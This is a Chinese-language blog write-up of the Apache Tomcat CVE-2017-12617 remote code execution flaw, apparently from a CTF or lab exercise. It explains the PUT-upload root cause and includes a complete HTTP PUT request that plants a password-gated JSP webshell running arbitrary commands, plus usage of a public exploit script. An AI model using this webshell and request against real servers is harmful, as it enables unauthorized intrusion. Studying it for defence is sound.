Ywc

CVE-2017-12617远程代码执行漏洞

Word count: 770 / Reading time: 3 min
2018/12/10 Share

漏洞原理

该漏洞源于在HTTP PUT方法时,攻击者可以通过特制请求将JSP文件上传到服务器。 然后可以请求此JSP,让服务器执行该JSP中包含的任意代码。

Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的:

而其他的静态文件是通过 DefaultServlet 处理的:

可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时:

会调用 resources.bind:

dirContext 为 FileDirContext:

调用 rebind 创建文件:

又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

WriteUp

nmap扫描目标ip:

1
2
3
4
5
6
7
8
9
10
11
root@ywc:~/ywc# nmap -sT -Pn -T4 ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-15 10:08 CST
Nmap scan report for 10.10.10.193
Host is up (0.0012s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
80/tcp open http
8080/tcp open http-proxy
10010/tcp open rxapi

Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds

访问http://ip:8080发现是tomcat8.5.15版本。CVE-2017-12617(远程代码执行漏洞)影响范围:

1
2
3
4
5
6
7
Apache Tomcat 9.0.0.M1-9.0.0

Apache Tomcat 8.5.0-8.5.22

Apache Tomcat 8.0.0.RC1-8.0.46

Apache Tomcat 7.0.0-7.0.81

poc:把GET请求改为PUT请求

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/。

不能直接put jsp或者jspx文件的,在windows下可以用test.jsp/、test.jsp/.、test.jsp::$DATA来绕过

经过测试,最新版apache-tomcat-7.0.81可以用test.jsp/、test.jsp/.来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PUT /shell.jsp/ HTTP/1.1
Host: 10.10.10.193:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

请求ip/shell.jsp?pwd=123&shell=cat /home/flag即可得到flag

CVE-2017-12617远程代码执行漏洞

自动化脚本

github项目地址:https://github.com/cyberheartmi9/CVE-2017-12617

CVE-2017-12617在Apache Tomcat中发现的关键远程执行代码(RCE)漏洞

影响启用了HTTP PUT的系统(通过将Default servlet的“只读”初始化参数设置为“false”)会受到影响。

9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的Tomcat版本包含潜在的危险

如果默认servlet是,则所有操作系统上的远程代码执行(RCE)漏洞

使用readonly参数设置为false配置或使用。启用WebDAV servlet

参数readonly设置为false

检查目标是否是漏洞:

1
python tomcat-cve-2017-12617.py -u "ip"

确定文件已创建

1
访问 ip/poc.jsp

创建Webshel​​l并获取shell

1
python tomcat-cve-2017-12617.py -u "ip" -p shell

即可使用linux指令

CVE-2017-12617远程代码执行漏洞

CATALOG
  1. 1. 漏洞原理
  2. 2. WriteUp
  3. 3. 自动化脚本